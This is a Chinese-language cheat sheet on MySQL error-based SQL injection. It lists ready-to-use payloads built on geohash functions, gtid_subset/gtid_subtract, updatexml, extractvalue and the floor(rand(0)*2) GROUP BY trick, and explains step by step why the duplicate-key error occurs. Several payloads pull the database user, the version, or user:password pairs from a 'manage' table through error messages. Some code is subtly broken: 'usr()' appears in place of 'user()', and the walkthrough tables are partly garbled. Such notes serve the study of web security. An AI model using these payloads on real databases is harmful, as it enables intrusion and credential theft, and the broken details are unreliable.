文章目录
1.ST_LatFromGeoHash()(mysql>=5.7.x)
-
ST_LatFromGeoHash 是 MySQL 的空间函数,用来从 GeoHash 字符串中解析出纬度,正常用法是对合法的 geohash 字符串做解码,返回一个double 值,传进去的不是一个合法的 geohash 字符串,MySQL 会抛出错误
-
concat(A, B, C) 的作用就是把 A、B、C 拼成一个字符串。0x7e 是 ~ 的十六进制写法:字符 ~的 ASCII 是 126,十六进制就是 0x7E。
-
用 concat 把 (select usr()) 的结果变成 ~ 用户名 ~;再把这个非 GeoHash 字符串喂给 ST_LatFromGeoHash;让数据库解析出错,在错误信息里把 ~ 用户名 ~打出来,从而窃取当前数据库用户名。
sql
and ST_LatFromGeoHash(concat(0x7e,(select usr()),0x7e))
2.ST_LongFromGeoHash()(mysql>=5.7.x)
- 与1类似
sql
and ST_LongFromGeoHash(concat(0x7e,(select usr()),0x7e))
3.GTID(mysql>=5.6.x-显错<=200)
- 此处不详细介绍
sql
gtid_subset
') or gtid_subset (concat(0x7e,(select group_concat(user,':',password) from manage),0x7e ),1)--+
gtid_subtract
') or gtid_subtract (concat(0x7e,(select group_concat(user,':',password) from manage),0x7e ),1)--+
4.ST_PointFromGeoHash()(mysql>=5.7)
-
ST_PointFromGeoHash(geo_hash, srid):MySQL 的空间函数,用来将一个 GeoHash 字符串转换为对应的经纬度点(POINT 对象)。第一个参数 geo_hash 应该是一个合法的 GeoHash 字符串(如 s00tw)。第二个参数 srid 是空间参考系统 ID(通常填 0 或 4326 等)。
-
当 MySQL 尝试解析这个非法的 GeoHash 时,就会抛出错误。MySQL 的报错信息里会包含它解析失败的那个非法字符串。
sql
') or ST_PointFromGeoHash(version(),1)--+
5.updatexml
sql
updatexml(1, concat(0x7e, 注入语句, 0x7e), 1)
6.extravalue
sql
extractvalue(1, concat(0x7e, 注入语句, 0x7e))
7.floor(8.x>mysql>5.0)
sql
') or (select 1 from (select count(*),concat(version(),floor(rand(0)*2) ) as x from information_schema.tables group by x) a)--+
as 可要可不要 取别名
7.1、rand()
-
rand()可以产生一个0-1之间的随机数
-
当提供随机数的种子,伪随机数、RAND(N)带参数 N:把 N 当成随机数种子(seed),初始化伪随机数生成器;只要 N 相同,就会得到完全一样的随机序列,适合可复现的随机行为
-
select rand(0) from users,从 users 表中为每一行数据生成一个随机数。虽然叫随机数,但指定了种子(这里是 0),生成的数值序列就是固定的
7.2、floor()
-
向下取整
-
当select floor ( rand( 0 ) )from users 全部得到0
-
select floor(rand(0)*2) from users前六位得到011011
7.3、group_by()
- GROUP BY 用来将相同的数据归纳到一组
- select floor ( rand ( 0 ) * 2 ) as x from users group by x 为0和1
7.4、count()
- count(*):统计总行数(包括 NULL 值)
- count(字段名):统计该字段不为 NULL 的行数。
7.5、报错分析
- select count(*),floor ( rand ( 0 ) * 2 ) as x from users group by x;
- 在 GROUP BY 建立临时表的过程中,MySQL 会多次计算 RAND() 的值。
- 查询数据时,首先在虚拟表查看是否存在,存在计数值+1,不存在创建该分组
- 当 MySQL 执行 GROUP BY x 时,它会创建一个临时的虚拟表。这个表有一个主键,就是 x(也就是我们计算出的 0 或 1),强行要求分组键必须唯一
| key/x | count(*) |
|---|---|
- floor(rand(0)*2) 会生成固定的序列011011,查询第一条数据0,(第一次计算)
| x | floor(rand(0)*2) | count(*) |
|---|---|---|
| 0 |
- 检查虚拟表,表是空的需要执行插入操作,调用floor(rand(0)*2)(第2次计算)得到1插入
| x | floor(rand(0)*2) | count(*) |
|---|---|---|
| 0 | ||
| 1 | 1 | 1 |
- 查询第二条数据floor(rand(0)*2)(第三次计算)1,查询虚拟表1已经存在,计数器增加
| x | floor(rand(0)*2) | count(*) |
|---|---|---|
| 0 | ||
| 1 | 1 | 1 |
| 1 | 1 | 2 |
4.查询第三条数据floor(rand(0)*2)(第四次计算)0,查询虚拟表0不存在,执行插入再次调用floor(rand(0)*2)(第五次计算)1,1已经存在
| x | floor(rand(0)*2) | count(*) |
|---|---|---|
| 0 | ||
| 1 | 1 | 1 |
| 1 | 1 | 2 |
| 0 | ||
| 1? | 1 |
- 试图写入主键 1,数据库发现虚拟表里主键 1 ,就会抛出错误:ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
- 数据源必须有足够多的行数(>= 3 行)